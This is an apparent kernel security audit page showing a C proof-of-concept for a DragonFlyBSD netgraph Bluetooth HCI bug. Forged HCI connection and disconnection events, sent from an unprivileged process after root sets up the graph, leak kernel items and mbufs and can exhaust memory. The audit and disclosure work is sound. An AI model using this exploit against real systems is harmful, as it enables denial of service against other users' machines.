⬢ DragonFlyBSD Kernel Audit
DF-3513 / poc_leak.c
← back to finding ↓ download raw
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
/*
 * DF-3513 -- ng_hci connection queue drain leaks ng_item + mbuf
 *
 * Root cause: NG_BT_ITEMQ_DRAIN() (sys/netgraph7/bluetooth/include/
 * ng_bluetooth.h:202-213) uses NG_FREE_ITEM(), which in netgraph7 is a
 * *flag-only* macro (sys/netgraph7/netgraph.h:816-820: KKASSERT + set
 * NGQF_FREE, no unref).  The queue holds a real reference taken by
 * ng_ref_item() at enqueue time (ng_hci_main.c:873/993), so every item
 * drained by ng_hci_free_con() (ng_hci_misc.c:320) leaks the item and its
 * attached mbuf forever.
 *
 * Trigger (per round, handle=0x0001):
 *   1. HCI event Connection_Complete  -> con_compl() creates OPEN ACL con
 *   2. two ACL data packets via acl hook: #1 forwarded to drv (acl_free 1->0),
 *      #2 stays queued in con->conq (flow controlled)
 *   3. HCI event Disconnection_Complete -> discon_compl() -> ng_hci_free_con()
 *      -> NG_BT_ITEMQ_DESTROY -> DRAIN -> NG_FREE_ITEM  ==> item+mbuf leaked
 *
 * Setup (root, once): create ng7 hci node "hci0", wire two ng7 data sockets
 * to its drv and acl hooks (this models a driver + upper layer attached by
 * the administrator).  The process then setuid()s to nobody (uid 65534) and
 * runs the whole attack loop unprivileged.
 *
 * Build:  cc -O2 -o poc_leak poc_leak.c
 * Run:    ./poc_leak <rounds>     (prints round counter; measure memory
 *                                  around it with vmstat -m / netstat -m)
 * Control run: ./poc_leak <rounds> noqueue   (single ACL pkt per round --
 *                  nothing queued, nothing drained => no leak expected)
 */

#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

/* ---- ng7 netgraph user ABI (self-contained copies) ---- */
#define AF_NG			32
#define NG_DATA			1
#define NG_CONTROL		2
#define NG_VERSION		8
#define NGM_GENERIC_COOKIE	1137070366
#define NGM_MKPEER		2
#define NGM_CONNECT		3
#define NGM_NAME		4
#define NGM_NODEINFO		(6 | 0x10000000 | 0x20000000)
#define NGM_LISTNODES		(9 | 0x10000000 | 0x20000000)
#define NGM_HCI_COOKIE		1000774184
#define NGM_HCI_NODE_INIT	101

#define NG_TYPESIZ		32
#define NG_HOOKSIZ		32
#define NG_NODESIZ		32
#define NG_PATHSIZ		512

struct ngm_hdr_ {
	u_char	version;
	u_char	spare;
	u_short	spare2;
	u_int	arglen;
	u_int	cmd;
	u_int	flags;
	u_int	token;
	u_int	typecookie;
	char	cmdstr[32];
};
struct ng_mesg_ {
	struct ngm_hdr_ header;
	char	data[1024];
};
struct ngm_mkpeer_ { char type[NG_TYPESIZ]; char ourhook[NG_HOOKSIZ]; char peerhook[NG_HOOKSIZ]; };
struct ngm_connect_ { char path[NG_PATHSIZ]; char ourhook[NG_HOOKSIZ]; char peerhook[NG_HOOKSIZ]; };
struct ngm_name_ { char name[NG_NODESIZ]; };
struct nodeinfo_ { char name[NG_NODESIZ]; char type[NG_TYPESIZ]; u_int32_t id; u_int32_t hooks; };
struct sockaddr_ng_ { u_char sg_len; sa_family_t sg_family; char sg_data[64]; };
#define NGIOCGINFO_	_IOR('N', 40, struct nodeinfo_)

static u_int32_t tok = 0x1000;

static int
ng_send_msg2(int cs, const char *path, u_int cookie, u_int cmd,
    const void *arg, size_t arglen, struct ng_mesg_ *reply)
{
	struct ng_mesg_ m;
	struct sockaddr_ng_ sa;
	ssize_t n;

	memset(&m, 0, sizeof(m));
	m.header.version = NG_VERSION;
	m.header.arglen = arglen;
	m.header.cmd = cmd;
	m.header.token = ++tok;
	m.header.typecookie = cookie;
	if (arglen)
		memcpy(m.data, arg, arglen);

	memset(&sa, 0, sizeof(sa));
	sa.sg_family = AF_NG;
	snprintf(sa.sg_data, sizeof(sa.sg_data), "%s", path);
	sa.sg_len = 2 + strlen(sa.sg_data) + 1;	/* family+str+NUL */

	n = sendto(cs, &m, sizeof(m.header) + arglen, 0,
	    (struct sockaddr *)&sa, sa.sg_len);
	if (n < 0)
		return (-1);

	if (reply) {
		u_int32_t mytok = m.header.token;
		int tries;
		for (tries = 0; tries < 32; tries++) {
			n = recv(cs, reply, sizeof(*reply), 0);
			if (n < 0)
				return (-1);
			if (reply->header.token != mytok)
				continue;	/* stale reply, skip */
			if (reply->header.flags & 1 /* NGF_RESP */) {
				if (reply->header.arglen == 4)
					return (-((int)*(u_int32_t *)reply->data ?
					    (int)*(u_int32_t *)reply->data : EIO));
				return (0);	/* positive reply w/ data */
			}
		}
		return (-1);
	}
	return (0);
}

static int
ng_send_msg(int cs, const char *path, u_int cmd, const void *arg,
    size_t arglen, struct ng_mesg_ *reply)
{
	return (ng_send_msg2(cs, path, NGM_GENERIC_COOKIE, cmd, arg, arglen,
	    reply));
}

static int
nodeinfo_id(int cs, u_int32_t *id)
{
	static struct ng_mesg_ reply;
	struct nodeinfo_ *ni;

	if (ng_send_msg(cs, ".", NGM_NODEINFO, NULL, 0, &reply) < 0)
		return (-1);
	ni = (struct nodeinfo_ *)reply.data;
	*id = ni->id;
	return (0);
}

/* wire: on control socket cs's own node create hook 'hook' connected to
 * hci0's hook 'hcihook'; then bind data socket ds to that node. */
static int
wire_data_socket(int cs, int ds, const char *hook, const char *hcihook)
{
	static struct ng_mesg_ reply;
	struct ngm_connect_ con;
	struct sockaddr_ng_ sa;
	u_int32_t id;

	memset(&con, 0, sizeof(con));
	strcpy(con.path, "hci0:");
	strcpy(con.ourhook, hook);
	strcpy(con.peerhook, hcihook);
	if (ng_send_msg(cs, ".", NGM_CONNECT, &con, sizeof(con), NULL) < 0) {
		fprintf(stderr, "wire_data_socket: NGM_CONNECT(%s->%s): %s\n",
		    hook, hcihook, strerror(errno));
		return (-1);
	}
	if (nodeinfo_id(cs, &id) < 0) {
		fprintf(stderr, "wire_data_socket: NODEINFO: %s\n",
		    strerror(errno));
		return (-1);
	}
	memset(&sa, 0, sizeof(sa));
	sa.sg_family = AF_NG;
	snprintf(sa.sg_data, sizeof(sa.sg_data), "[%x]:", id);
	sa.sg_len = 2 + strlen(sa.sg_data) + 1;	/* family+str+NUL */
	if (connect(ds, (struct sockaddr *)&sa, sa.sg_len) < 0) {
		fprintf(stderr, "wire_data_socket: connect([%u]): %s\n",
		    id, strerror(errno));
		return (-1);
	}
	return (0);
}

int
main(int argc, char **argv)
{
	int cs, cs2, cs3, ds_drv, ds_acl, ds_raw, rounds, i, noqueue = 0;
	struct ngm_mkpeer_ mkp;
	struct ngm_connect_ con;
	struct ngm_name_ nam;
	char buf[2048];

	rounds = (argc > 1) ? atoi(argv[1]) : 1000;
	if (argc > 2 && strcmp(argv[2], "noqueue") == 0)
		noqueue = 1;

	/* -------- root: build the graph -------- */
	cs = socket(AF_NG, SOCK_DGRAM, NG_CONTROL);
	if (cs < 0) { perror("control socket"); exit(1); }

	memset(&mkp, 0, sizeof(mkp));
	strcpy(mkp.type, "hci");
	strcpy(mkp.ourhook, "c0");
	strcpy(mkp.peerhook, "raw");
	if (ng_send_msg(cs, ".", NGM_MKPEER, &mkp, sizeof(mkp), NULL) < 0) {
		perror("mkpeer hci"); exit(1);
	}

	memset(&nam, 0, sizeof(nam));
	strcpy(nam.name, "hci0");
	if (ng_send_msg(cs, "c0", NGM_NAME, &nam, sizeof(nam), NULL) < 0) {
		perror("name hci0"); exit(1);
	}

	{
		u_short dbg = 9;	/* NG_HCI_ALERT_LEVEL .. INFO */
		int e = ng_send_msg2(cs, "c0", NGM_HCI_COOKIE, 103 /*SET_DEBUG*/,
		    &dbg, 2, NULL);
		static struct ng_mesg_ rsp;
		u_short chk = 0;
		if (ng_send_msg2(cs, "c0", NGM_HCI_COOKIE, 102 /*GET_DEBUG*/,
		    NULL, 0, &rsp) == 0)
			chk = *(u_short *)rsp.data;
		printf("SET_DEBUG e=%d errno=%d(%s) debug_now=%u\n", e, errno,
		    strerror(errno), chk);
		/* drain any stale error replies to keep token order clean */
		{
			static struct ng_mesg_ junk;
			while (recv(cs, &junk, sizeof(junk), MSG_DONTWAIT) > 0)
				;
		}
	}

	/* ng7: data sockets bind to a socket *node*; each control socket
	 * owns one node, so use one extra control socket per data path. */
	cs2 = socket(AF_NG, SOCK_DGRAM, NG_CONTROL);
	cs3 = socket(AF_NG, SOCK_DGRAM, NG_CONTROL);
	ds_drv = socket(AF_NG, SOCK_DGRAM, NG_DATA);
	ds_acl = socket(AF_NG, SOCK_DGRAM, NG_DATA);
	if (cs2 < 0 || cs3 < 0 || ds_drv < 0 || ds_acl < 0) {
		perror("sockets"); exit(1);
	}

	if (wire_data_socket(cs2, ds_drv, "data", "drv") < 0) {
		fprintf(stderr, "wire drv failed\n"); exit(1);
	}
	if (wire_data_socket(cs3, ds_acl, "data", "acl") < 0) {
		fprintf(stderr, "wire acl failed\n"); exit(1);
	}

	/* Make the unit READY: HCI Read_BD_ADDR command via the raw hook
	 * (cs's own "c0" hook, which is peered with hci0:raw), its
	 * Command_Complete event via drv, then NGM_HCI_NODE_INIT. */
	ds_raw = socket(AF_NG, SOCK_DGRAM, NG_DATA);
	if (ds_raw < 0) { perror("raw data socket"); exit(1); }
	{
		struct sockaddr_ng_ sa;
		u_int32_t myid;

		if (nodeinfo_id(cs, &myid) < 0) {
			fprintf(stderr, "NODEINFO self failed\n"); exit(1);
		}
		memset(&sa, 0, sizeof(sa));
		sa.sg_family = AF_NG;
		snprintf(sa.sg_data, sizeof(sa.sg_data), "[%x]:", myid);
		sa.sg_len = 2 + strlen(sa.sg_data) + 1;
		if (connect(ds_raw, (struct sockaddr *)&sa, sa.sg_len) < 0) {
			fprintf(stderr, "bind raw datasock: %s\n",
			    strerror(errno)); exit(1);
		}
	}

	{
		struct sockaddr_ng_ dstr, dstc;
		char rbuf[2048];
		unsigned char cmd_read_bdaddr[4] = {
			0x01, 0x09, 0x10, 0x00	/* HCI CMD, opcode 0x1009, len 0 */
		};
		unsigned char ev_cc_bdaddr[13] = {
			0x04, 0x0e, 0x0a,	/* event pkt, COMMAND_COMPL, len 10 */
			0x01,			/* num_cmd_pkts = 1 */
			0x09, 0x10,		/* opcode 0x1009 (LE) */
			0x00,			/* status = 0 */
			0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff	/* bdaddr */
		};

		memset(&dstr, 0, sizeof(dstr));
		dstr.sg_family = AF_NG;
		strcpy(dstr.sg_data, "c0");
		dstr.sg_len = 2 + strlen(dstr.sg_data) + 1;

		memset(&dstc, 0, sizeof(dstc));
		dstc.sg_family = AF_NG;
		strcpy(dstc.sg_data, "data");
		dstc.sg_len = 2 + strlen(dstc.sg_data) + 1;

		{
			/* visibility probe: unknown event must kprintf at
			 * debug >= 4 ("got HCI event=0xff") */
			unsigned char junk[3] = { 0x04, 0xff, 0x00 };
			if (sendto(ds_drv, junk, sizeof(junk), 0,
			    (struct sockaddr *)&dstc, dstc.sg_len) < 0)
				perror("send junk");
			usleep(300000);
		}

		if (sendto(ds_raw, cmd_read_bdaddr, sizeof(cmd_read_bdaddr), 0,
		    (struct sockaddr *)&dstr, dstr.sg_len) < 0) {
			perror("send Read_BD_ADDR"); exit(1);
		}
		usleep(5000);	/* cmd forwarded; beat the 5-tick timeout */
		{
			ssize_t got = 0, n;
			while ((n = recv(ds_drv, rbuf, sizeof(rbuf),
			    MSG_DONTWAIT)) > 0)
				got += n;
			printf("drained %zd bytes from drv after command\n",
			    got);
			while ((n = recv(ds_raw, rbuf, sizeof(rbuf),
			    MSG_DONTWAIT)) > 0)
				got += 1000000;	/* tap copy marker */
		}
		if (sendto(ds_drv, ev_cc_bdaddr, sizeof(ev_cc_bdaddr), 0,
		    (struct sockaddr *)&dstc, dstc.sg_len) < 0) {
			perror("send CC bdaddr"); exit(1);
		}
		{
			static struct ng_mesg_ rsp;
			int dl;
			for (dl = 1; dl <= 4; dl++) {
				usleep(300000);
				if (ng_send_msg2(cs, "c0", NGM_HCI_COOKIE,
				    100 /*GET_STATE*/, NULL, 0, &rsp) == 0)
					printf("state(+%dms) = %#x\n", dl * 300,
					    *(u_short *)rsp.data);
			}
			if (ng_send_msg2(cs, "c0", NGM_HCI_COOKIE,
			    105 /*GET_BDADDR*/, NULL, 0, &rsp) == 0)
				printf("bdaddr = %02x:%02x:%02x:%02x:%02x:%02x\n",
				    (u_char)rsp.data[5], (u_char)rsp.data[4],
				    (u_char)rsp.data[3], (u_char)rsp.data[2],
				    (u_char)rsp.data[1], (u_char)rsp.data[0]);
			else
				printf("GET_BDADDR failed: %s\n",
				    strerror(errno));
			if (ng_send_msg2(cs, "c0", NGM_HCI_COOKIE,
			    11 /*NGM_TEXT_STATUS (generic)*/,
			    NULL, 0, &rsp) == 0) {
				/* generic cookie needed */
			}
			if (ng_send_msg2(cs, "c0", NGM_GENERIC_COOKIE,
			    11 /*NGM_TEXT_STATUS*/, NULL, 0, &rsp) == 0)
				printf("TEXT_STATUS: %s\n", rsp.data);
			if (ng_send_msg2(cs, "c0", NGM_HCI_COOKIE,
			    104 /*GET_BUFFER*/, NULL, 0, &rsp) == 0)
				printf("buffer: cmd_free=%u acl=%u,%u,%u sco=%u,%u,%u\n",
				    (u_char)rsp.data[0],
				    *(u_short *)(rsp.data+9),
				    *(u_short *)(rsp.data+11),
				    *(u_short *)(rsp.data+13),
				    *(u_short *)(rsp.data+3),
				    *(u_short *)(rsp.data+1),
				    (u_char)rsp.data[15]);
		}
		if (ng_send_msg2(cs, "c0", NGM_HCI_COOKIE, NGM_HCI_NODE_INIT,
		    NULL, 0, NULL) < 0) {
			fprintf(stderr, "NGM_HCI_NODE_INIT: %s\n",
			    strerror(errno)); exit(1);
		}
	}
	printf("graph built + unit READY; dropping to nobody\n");

	/* -------- drop privileges; attack runs as uid 65534 -------- */
	if (setgid(65534) || setuid(65534)) { perror("setuid"); exit(1); }
	printf("uid=%d euid=%d\n", getuid(), geteuid());

	/* HCI event: Connection Complete, handle 0x0001, ACL, status 0 */
	unsigned char ev_con_compl[14] = {
		0x04, 0x03, 0x0b,             /* event pkt, CON_COMPL, len 11 */
		0x00,                         /* status = 0 */
		0x01, 0x00,                   /* con_handle = 0x0001 */
		0x11, 0x22, 0x33, 0x44, 0x55, 0x66,	/* bdaddr */
		0x01,                         /* link_type = ACL (SCO=0, ACL=1) */
		0x00                          /* encryption_mode */
	};
	/* HCI event: Disconnection Complete, handle 0x0001, status 0 */
	unsigned char ev_discon[7] = {
		0x04, 0x05, 0x04,             /* event pkt, DISCON_COMPL, len 4 */
		0x00,                         /* status = 0 */
		0x01, 0x00,                   /* con_handle = 0x0001 */
		0x13                          /* reason */
	};
	/* HCI ACL data packet: handle 0x0001, 13 byte payload */
	unsigned char acl_pkt[18] = {
		0x02, 0x01, 0x00, 0x0d, 0x00, /* ACL pkt, handle 1, len 13 */
		'a','b','c','d','e','f','g','h','i','j','k','l','m'
	};

	struct sockaddr_ng_ dst;	/* hook name on the bound socket node */

	memset(&dst, 0, sizeof(dst));
	dst.sg_family = AF_NG;
	strcpy(dst.sg_data, "data");
	dst.sg_len = 2 + strlen(dst.sg_data) + 1;	/* family+str+NUL */

	for (i = 0; i < rounds; i++) {
		if (sendto(ds_drv, ev_con_compl, sizeof(ev_con_compl), 0,
		    (struct sockaddr *)&dst, dst.sg_len) < 0) {
			if (errno == ENOBUFS) { usleep(1000); i--; continue; }
			perror("send con_compl"); break;
		}
		if (sendto(ds_acl, acl_pkt, sizeof(acl_pkt), 0,
		    (struct sockaddr *)&dst, dst.sg_len) < 0) {
			if (errno == ENOBUFS) { usleep(1000); i--; continue; }
			perror("send acl#1"); break;
		}
		if (!noqueue) {
			if (sendto(ds_acl, acl_pkt, sizeof(acl_pkt), 0,
			    (struct sockaddr *)&dst, dst.sg_len) < 0) {
				if (errno == ENOBUFS) { usleep(1000); i--; continue; }
				perror("send acl#2"); break;
			}
		}
		/* drain whatever came back to the drv socket */
		for (;;) {
			ssize_t n = recv(ds_drv, buf, sizeof(buf), MSG_DONTWAIT);
			if (n <= 0)
				break;
		}
		if (sendto(ds_drv, ev_discon, sizeof(ev_discon), 0,
		    (struct sockaddr *)&dst, dst.sg_len) < 0) {
			if (errno == ENOBUFS) { usleep(1000); i--; continue; }
			perror("send discon"); break;
		}
		if ((i % 2000) == 0)
			printf("round %d\n", i);
	}
	printf("done: %d rounds (queued=%s)\n", i, noqueue ? "no" : "yes");
	return (0);
}